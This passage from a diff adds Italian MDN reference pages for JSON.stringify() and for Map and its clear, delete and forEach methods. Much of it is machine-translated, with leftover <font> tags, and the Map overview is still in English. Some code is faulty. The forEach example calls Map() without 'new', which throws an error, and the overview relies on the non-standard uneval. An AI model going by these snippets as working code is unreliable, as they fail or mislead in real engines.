+// Risultato: '{"week":45,"month":7}'</code>
+</pre>
+
+<h4 id="Esempio_di_replacer_come_array">Esempio di <em>replacer</em>, come array</h4>
+
+<p><font><font>Se </font></font><code>replacer</code> <font><font>è un array, i valori dell'array indicano i nomi delle proprietà nell'oggetto che dovrebbero essere incluse nella stringa JSON risultante.</font></font></p>
+
+<pre class="brush: js">JSON.stringify(foo, ['week', 'month']);
+// '{"week":45,"month":7}', mantiene solo le proprietà "week" e "month"
+</pre>
+
+<h3 id="Il_parametro_space">Il parametro <code>space<a id="parametro_space" name="parametro_space"></a></code></h3>
+
+<p><font><font>L'argomento </font></font><code>space</code><font><font> può essere usato per controllare la spaziatura nella stringa finale.</font></font></p>
+
+<ul>
+ <li><strong><font><font>Se si tratta di un numero</font></font></strong><font><font>, i livelli successivi nella stringa verranno rientrati da questi caratteri di spazio (fino a 10).</font></font></li>
+ <li><strong><font><font>Se è una stringa</font></font></strong><font><font>, i livelli successivi saranno rientrati da questa stringa (o dai primi dieci caratteri di essa).</font></font></li>
+</ul>
+
+<pre><code>JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'</code></pre>
+
+<p>L'utilizzo di un carattere di tabulazione simula l'aspetto standard di tipo "pretty-print":</p>
+
+<pre class="brush: js">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// restituisce la stringa:
+// '{
+//     "uno": 1,
+//     "dos": 2
+// }'
+</pre>
+
+<h3 id="Comportamento_di_toJSON()">Comportamento di <code>toJSON()</code><a id="comportamento_tojson" name="comportamento_tojson"></a></h3>
+
+<p><font><font>Se un oggetto da stringificare ha una proprietà denominata il </font></font><code>toJSON</code> <font><font>cui valore è una funzione, il metodo </font></font><code>toJSON()</code> <font><font>personalizza il comportamento di stringificazione JSON: invece dell'oggetto serializzato, il valore restituito dal metodo </font></font><code>toJSON()</code> <font><font>quando chiamato verrà serializzato. </font></font><code>JSON.stringify()</code> <font><font>chiama </font></font><code>toJSON</code> <font><font>con un parametro:</font></font></p>
+
+<ul>
+ <li><font><font>se questo oggetto è un valore di proprietà, il nome della proprietà</font></font></li>
+ <li><font><font>se è in una matrice, l'indice nella matrice, come una stringa</font></font></li>
+ <li><font><font>una stringa vuota se è </font></font><code>JSON.stringify()</code> <font><font>stata richiamata direttamente su questo oggetto</font></font></li>
+</ul>
+
+<p>Per esempio:</p>
+
+<pre><code>var obj = {
+    data: 'data',
+
+    toJSON(key){
+        if(key)
+            return `Ora sono un oggetto nidificato sotto chiave '${key}'`;
+
+        else
+            return this;
+    }
+};
+
+JSON.stringify(obj);
+// '{"data":"data"}'
+
+JSON.stringify({ obj })
+// '{"obj":"Ora sono un oggetto nidificato sotto chiave 'obj'"}'
+
+JSON.stringify([ obj ])
+// '["Ora sono un oggetto nidificato sotto chiave '0'"]'</code>
+</pre>
+
+<h3 id="Problema_con_JSON.stringify()_durante_la_serializzazione_di_riferimenti_circolari">Problema con <code>JSON.stringify()</code> durante la serializzazione di riferimenti circolari</h3>
+
+<p>Nota che poiché il <a href="https://www.json.org/">Formato JSON</a> non supporta i riferimenti agli oggetti (sebbene <a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">esista una bozza IETF</a>), {{JSxRef("TypeError")}} verrà generato un se si tenta di codificare un oggetto con riferimenti circolari.</p>
+
+<pre class="brush: js example-bad">const circularReference = {};
+circularReference.myself = circularReference;
+
+// La serializzazione dei riferimenti circolari genera "TypeError: valore dell'oggetto ciclico"
+JSON.stringify(circularReference);
+</pre>
+
+<p>Per serializzare i riferimenti circolari è possibile utilizzare una libreria che li supporta (ad es. <a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> di Douglas Crockford) o implementare una soluzione autonomamente, che richiederà la ricerca e la sostituzione (o la rimozione) dei riferimenti ciclici mediante valori serializzabili.</p>
+
+<h3 id="Problema_con_plain_JSON.stringify_per_l'uso_come_JavaScript"><font><font>Problema con plain </font></font> <code>JSON.stringify</code> per l'uso come JavaScript</h3>
+
+<p>Storicamente, JSON <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">non era un sottoinsieme completamente rigido di JavaScript</a>. <font>I punti del codice letterale U + 2028 LINE SEPARATOR e U + 2029 PARAGRAPH SEPARATOR potrebbero apparire letteralmente in stringhe letterali e nomi di proprietà nel testo JSON. </font><font>Ma non potevano apparire letteralmente in un contesto simile nel testo JavaScript - solo usando escape Unicode come</font> <code>\u2028</code> e <code>\u2029</code>.  Questo è cambiato di recente: ora entrambi i punti di codice possono apparire letteralmente nelle stringhe in JSON e JavaScript entrambi.</p>
+
+<p><font><font>Pertanto, se è richiesta la compatibilità con i motori JavaScript precedenti, è pericoloso sostituire direttamente la stringa restituita da </font></font><code>JSON.stringify</code> <font><font>una stringa JavaScript da passare a </font></font><code>eval</code> <font><font>o </font></font><code>new Function</code> <font><font>o come parte di un </font><font>URL </font></font><a href="https://en.wikipedia.org/wiki/JSONP" rel="noopener"><font><font>JSONP</font></font></a><font><font> e può essere utilizzata la seguente utility:</font></font></p>
+
+<pre class="brush: js">function jsFriendlyJSONStringify (s) {
+    return JSON.stringify(s).
+        replace(/\u2028/g, '\\u2028').
+        replace(/\u2029/g, '\\u2029');
+}
+
+var s = {
+    a: String.fromCharCode(0x2028),
+    b: String.fromCharCode(0x2029)
+};
+try {
+    eval('(' + JSON.stringify(s) + ')');
+} catch (e) {
+    console.log(e); // "SyntaxError: unterminated string literal"
+}
+
+// No need for a catch
+eval('(' + jsFriendlyJSONStringify(s) + ')');
+
+// console.log in Firefox scolla l'Unicode se
+//   connesso alla console, quindi usiamo alert
+alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: N<font>on è garantito che le proprietà degli oggetti non array vengano sottoposte a stringa in qualsiasi ordine particolare. </font><font>Non fare affidamento sull'ordinamento di proprietà all'interno dello stesso oggetto all'interno della stringa.</font></p>
+</div>
+
+<pre class="brush: js">var a = JSON.stringify({ foo: "bar", baz: "quux" })
+//'{"foo":"bar","baz":"quux"}'
+var b = JSON.stringify({ baz: "quux", foo: "bar" })
+//'{"baz":"quux","foo":"bar"}'
+console.log(a !== b) // true
+
+// alcune funzioni di memoizzazione usano JSON.stringify per serializzare gli argomenti,
+// mancando la cache quando si incontra lo stesso oggetto come sopra
+</pre>
+
+<h3 id="Esempio_di_utilizzo_JSON.stringify()_con_localStorage">Esempio di utilizzo <code>JSON.stringify()</code> con <code>localStorage</code></h3>
+
+<p><font><font>Nel caso in cui desideri archiviare un oggetto creato dall'utente e consentirne il ripristino anche dopo la chiusura del browser, nell'esempio seguente è disponibile un modello per l'applicabilità di </font></font><code>JSON.stringify()</code><font><font>:</font></font></p>
+
+<pre class="brush: js">// Creare un esempio di JSON
+var session = {
+  'screens': [],
+  'state': true
+};
+session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 });
+session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 });
+session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 });
+session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 });
+session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 });
+session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 });
+
+// Conversione della stringa JSON con JSON.stringify()
+// quindi salva con localStorage nel nome della sessione
+localStorage.setItem('session', JSON.stringify(session));
+
+// Esempio di come trasformare la stringa generata tramite
+// JSON.stringify() e salvare nuovamente in localStorage nell'oggetto JSON
+var restoredSession = JSON.parse(localStorage.getItem('session'));
+
+// Ora la variabile restoreSession contiene l'oggetto che è stato salvato
+// in localStorage
+console.log(restoredSession);
+</pre>
+
+<h3 id="Well-formed_JSON.stringify()">Well-formed <code>JSON.stringify()</code></h3>
+
+<p>Engines implementing the <a href="https://github.com/tc39/proposal-well-formed-stringify">well-formed JSON.stringify specification</a> will stringify lone surrogates -- any code point from U+D800 to U+DFFF -- using Unicode escape sequences rather than literally.  Before this change <code>JSON.stringify</code> would output lone surrogates if the input contained any lone surrogates; such strings could not be encoded in valid UTF-8 or UTF-16:</p>
+
+<pre class="brush: js; no-line-numbers">JSON.stringify("\uD800"); // '"�"'</pre>
+
+<p><font><font>Ma con questo cambiamento </font></font><code>JSON.stringify</code> <font><font>rappresentano surrogati solitari usando sequenze di escape JSON che </font></font><em><font><font>possono</font></font></em><font><font> essere codificate in UTF-8 o UTF-16 validi:</font></font></p>
+
+<pre class="brush: js; no-line-numbers">JSON.stringify("\uD800"); // '"\\ud800"'</pre>
+
+<p><font><font>Questo cambiamento dovrebbe essere retrocompatibile fin tanto che si passa il risultato di </font></font><code>JSON.stringify</code> <font><font>API come </font></font><code>JSON.parse</code> <font><font>quella che accetterà qualsiasi testo JSON valido, in quanto tratterà le escape Unicode dei surrogati soli come identici ai surrogati solitari stessi.  </font></font><em><font><font>Solo</font></font></em><font><font> se stai interpretando direttamente il risultato di </font></font><code>JSON.stringify</code> <font><font>hai bisogno di gestire attentamente </font></font><code>JSON.stringify</code> <font><font>le due possibili codifiche di questi punti di codice.</font></font></p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definzione iniziale. Implementato su JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblità_con_i_browser">Compatiblità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{JSxRef("JSON.parse()")}}</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – Presenta due funzioni: <code>JSON.decycle</code> e <code>JSON.retrocycle</code>. Esse consentono la codifica e la decodifica di strutture cicliche e DAG in un formato JSON esteso e retrocompatibile.</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/map/clear/index.html b/files/it/web/javascript/reference/global_objects/map/clear/index.html
new file mode 100644
index 0000000000..85918279ad
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/map/clear/index.html
@@ -0,0 +1,76 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Map/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>clear()</strong></code> rimuove tutti gli elementi di un oggetto <code>Map</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.clear();</code></pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzare_il_metodo_clear">Utilizzare il metodo <code>clear</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size;       // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size;       // 0
+myMap.has('bar')  // false
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.clear")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/map/delete/index.html b/files/it/web/javascript/reference/global_objects/map/delete/index.html
new file mode 100644
index 0000000000..18c511b3eb
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/map/delete/index.html
@@ -0,0 +1,74 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Map/delete
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code>Il metodo</code><strong><code>delete()</code></strong> rimuove l'elemento specificato da un oggetto <code>Map</code> selezionandolo in base alla chiave.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo è contenuto in un repository GitHub. Nel caso in cui tu voglia contribuire al progetto esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e sottometti una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>myMap</var>.delete(<var>key</var>);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>La chiave dell'elemento da rimuovere dall'oggetto <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valore_ritornato">Valore ritornato</h3>
+
+<p><code>true</code> se un elemento con la chiave specificata esisteva nell'oggetto <code>Map</code> ed è stato ora rimosso, o <code>false</code> se non esisteva alcun elemento con la chiave specificata.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_delete">Usare <code>delete()</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete('bar'); // Ritorna true. Rimosso con successo.
+myMap.has('bar');    // Ritorna false. L'elemento "bar" non è più presente.
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div class="hidden">La tabella di compatibilità contenuta in questa pagina è generata da dati strutturati. Per contribuire ai dati fai il check out del repository <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e sottometti una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/map/foreach/index.html b/files/it/web/javascript/reference/global_objects/map/foreach/index.html
new file mode 100644
index 0000000000..ab1c69a310
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/map/foreach/index.html
@@ -0,0 +1,88 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Map/forEach
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>forEach() </strong></code>esegue una funzione fornita come argomento una volta per ogni coppia <code>key/value</code> nell'oggetto <code>Map</code>, secondo l'ordine dell'inseriemento dei valori.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione da eseguire per ogni elemento.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Valore da usare come <code>this</code> quando si esegue <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>forEach</code> esegue il <code>callback</code> passato come parametro una volta per ogni <em>key</em> della <em>map</em> esistente. Non è invocato per <em>key</em> che sono state cancellate. Comunque, è invocato per valori che sono presenti ma hanno valore <code>undefined</code>.</p>
+
+<p><code>callback </code>è invocato con <strong>tre argomenti</strong><code>:</code></p>
+
+<ul>
+ <li>il <strong>valore</strong> dell'<strong>elemento</strong></li>
+ <li>la <strong>chiave</strong> dell'<strong>elemento</strong></li>
+ <li>l'oggetto <strong><code>Map</code> </strong>su cui si sta eseguendo il ciclo</li>
+</ul>
+
+<p>Se il parametro <code>thisArg</code> è fornito al <code>forEach</code>, sarà passato al <code>callback</code> quando viene invocato, per essere usato come suo valore <code>this</code>.  In caso contrario, sarà passato il valore <code>undefined</code> per essere usato come valore <code>this</code>. Il valore <code>this </code>visibile definitivamente dal <code>callback</code>è determinato secondo le <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">normali regole per determinare il this visibile da una funzione</a>.</p>
+
+<p>Il range di elementi processati da <code>forEach</code> è determinato anteriormente alla prima invocazione del <code>callback</code>. Gli elementi che sono aggiunti all'oggetto <code>Map</code> dopo che la chiamata a <code>forEach</code> inizi non saranno visitati dal <code>callback</code>. Se eleemnti esistenti dell'oggetto <code>Map</code> vengono cambiati, o cancellati, il loro valore passato al <code>callback</code> sarà il valore nel momento in cui il <code>forEach</code> li visita; elementi che vengono cancellati non sono visitati.</p>
+
+<p><code>forEach</code> esegue la funzione <code>callback</code> una volta per ogni elemento nell'oggetto <code>Map</code>; non restituisce alcun valore.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Stampare_il_contenuto_di_un_oggetto_Map"><code>Stampare il contenuto di un oggetto Map</code></h3>
+
+<p>Il seguente codice stampa nella console una riga per ogni elemento in un oggetto<code> Map</code>:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+    console.log("m[" + key + "] = " + value);
+}
+Map([["foo", 3], ["bar", {}], ["baz", undefined]]).forEach(logMapElements);
+// logs:
+// "m[foo] = 3"
+// "m[bar] = [object Object]"
+// "m[baz] = undefined"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/map/index.html b/files/it/web/javascript/reference/global_objects/map/index.html
new file mode 100644
index 0000000000..58ee676d23
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/map/index.html
@@ -0,0 +1,439 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Global_Objects/Map
+tags:
+  - ECMAScript6
+  - Experimental
+  - JavaScript
+  - Map
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Map</code></strong> object is a simple key/value map. Any value (both objects and {{Glossary("Primitive", "primitive values")}}) may be used as either a key or a value.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new Map([iterable])
+</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Iterable is an Array or other iterable object whose elements are key-value pairs (2-element Arrays). Each key-value pair is added to the new Map. <code>null</code> is treated as <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>A Map object iterates its elements in insertion order — a {{jsxref("Statements/for...of", "for...of")}} loop returns an array of <code>[key, value]</code> for each iteration.</p>
+
+<h3 id="Key_equality">Key equality</h3>
+
+<p>Key equality is based on the "same-value" algorithm: <code>NaN</code> is considered the same as <code>NaN</code> (even though <code>NaN !== NaN</code>) and all other values are considered equal according to the semantics of the === operator. In earlier versions of the ECMAScript 6 draft <code>-0</code> and <code>+0</code> were considered distinct (even though <code>-0 === +0</code>), this has been changed in later versions and has been adapted in Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) and a <a href="https://code.google.com/p/v8/issues/detail?id=3069">recent nightly Chrome</a>.</p>
+
+<h3 id="Objects_and_maps_compared">Objects and maps compared</h3>
+
+<p>{{jsxref("Object", "Objects")}} are similar to <code>Maps</code> in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Because of this (and because there were no built-in alternatives), <code>Objects</code> have been used as <code>Maps</code> historically; however, there are important differences between <code>Objects</code> and <code>Maps</code> that make using a <code>Map</code> better:</p>
+
+<ul>
+ <li>An <code>Object</code> has a prototype, so there are default keys in the map. This could be bypassed by using <code>map = Object.create(null)</code> since ES5, but was seldomly done.</li>
+ <li>The keys of an <code>Object</code> are {{jsxref("String", "Strings")}} and {{jsxref("Symbol", "Symbols")}}, where they can be any value for a <code>Map</code>.</li>
+ <li>You can get the size of a <code>Map</code> easily while you have to manually keep track of size for an <code>Object</code>.</li>
+</ul>
+
+<p>This does not mean you should use <code>Map</code>s everywhere, objects still are used in most cases. <code>Map</code> instances are only useful for collections, and you should consider adapting your code where you have previously used objects for such. Objects shall be used as records, with fields and methods.<br>
+ If you're still not sure which one to use, ask yourself the following questions:</p>
+
+<ul>
+ <li>Are keys usually unknown until run time, do you need to look them up dynamically?</li>
+ <li>Do all values have the same type, and can be used interchangeably?</li>
+ <li>Do you need keys that aren't strings?</li>
+ <li>Are key-value pairs often added or removed?</li>
+ <li>Do you have an arbitrary (easily changing) amount of key-value pairs?</li>
+ <li>Is the collection iterated?</li>
+</ul>
+
+<p>Those all are signs that you want a <code>Map</code> for a collection. If in contrast you have a fixed amount of keys, operate on them individually, and distinguish between their usage, then you want an object.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>The value of the <code>length</code> property is 0.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>The constructor function that is used to create derived objects.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>Represents the prototype for the <code>Map</code> constructor. Allows the addition of properties to all <code>Map</code> objects.</dd>
+</dl>
+
+<h2 id="Map_instances"><code>Map</code> instances</h2>
+
+<p>All <code>Map</code> instances inherit from {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p>
+
+<h3 id="Methods">Methods</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_the_Map_object">Using the <code>Map</code> object</h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+var keyString = "a string",
+    keyObj = {},
+    keyFunc = function () {};
+
+// setting the values
+myMap.set(keyString, "value associated with 'a string'");
+myMap.set(keyObj, "value associated with keyObj");
+myMap.set(keyFunc, "value associated with keyFunc");
+
+myMap.size; // 3
+
+// getting the values
+myMap.get(keyString);    // "value associated with 'a string'"
+myMap.get(keyObj);       // "value associated with keyObj"
+myMap.get(keyFunc);      // "value associated with keyFunc"
+
+myMap.get("a string");   // "value associated with 'a string'"
+                         // because keyString === 'a string'
+myMap.get({});           // undefined, because keyObj !== {}
+myMap.get(function() {}) // undefined, because keyFunc !== function () {}
+</pre>
+
+<h3 id="Using_NaN_as_Map_keys">Using <code>NaN</code> as <code>Map</code> keys</h3>
+
+<p><code>NaN</code> can also be used as a key. Even though every <code>NaN</code> is not equal to itself (<code>NaN !== NaN</code> is true), the following example works, because <code>NaN</code>s are indistinguishable from each other:</p>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set(NaN, "not a number");
+
+myMap.get(NaN); // "not a number"
+
+var otherNaN = Number("foo");
+myMap.get(otherNaN); // "not a number"
+</pre>
+
+<h3 id="Iterating_Maps_with_for..of">Iterating <code>Maps</code> with <code>for..of</code></h3>
+
+<p>Maps can be iterated using a <code>for..of</code> loop:</p>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set(0, "zero");
+myMap.set(1, "one");
+for (var [key, value] of myMap) {
+  console.log(key + " = " + value);
+}
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+
+for (var key of myMap.keys()) {
+  console.log(key);
+}
+// Will show 2 logs; first with "0" and second with "1"
+
+for (var value of myMap.values()) {
+  console.log(value);
+}
+// Will show 2 logs; first with "zero" and second with "one"
+
+for (var [key, value] of myMap.entries()) {
+  console.log(key + " = " + value);
+}
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+</pre>
+
+<h3 id="Iterating_Maps_with_forEach()">Iterating <code>Maps</code> with <code>forEach()</code></h3>
+
+<p>Maps can be iterated using the <code>forEach()</code> method:</p>
+
+<pre class="brush: js">myMap.forEach(function(value, key) {
+  console.log(key + " = " + value);
+}, myMap)
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+</pre>
+
+<h3 id="Relation_with_Array_objects">Relation with <code>Array</code> objects</h3>
+
+<pre class="brush: js">var kvArray = [["key1", "value1"], ["key2", "value2"]];
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+var myMap = new Map(kvArray);
+
+myMap.get("key1"); // returns "value1"
+
+// Use the spread operator to transform a map into a 2D key-value Array.
+console.log(uneval([...myMap])); // Will show you exactly the same Array as kvArray
+
+// Or use the spread operator on the keys or values iterator to get
+// an array of only the keys or values
+console.log(uneval([...myMap.keys()])); // Will show ["key1", "key2"]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{ CompatChrome(38) }} [1]</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Map(iterable)</code></td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>iterable</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{ CompatGeckoDesktop("17") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Map.clear()</code></td>
+   <td>{{ CompatChrome(31) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Map.keys(), Map.values(), Map.entries()</code></td>
+   <td>{{ CompatChrome(37) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Map.forEach()</code></td>
+   <td>{{ CompatChrome(36) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Key equality for -0 and 0</td>
+   <td>{{ CompatChrome(34) }}<br>
+    {{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
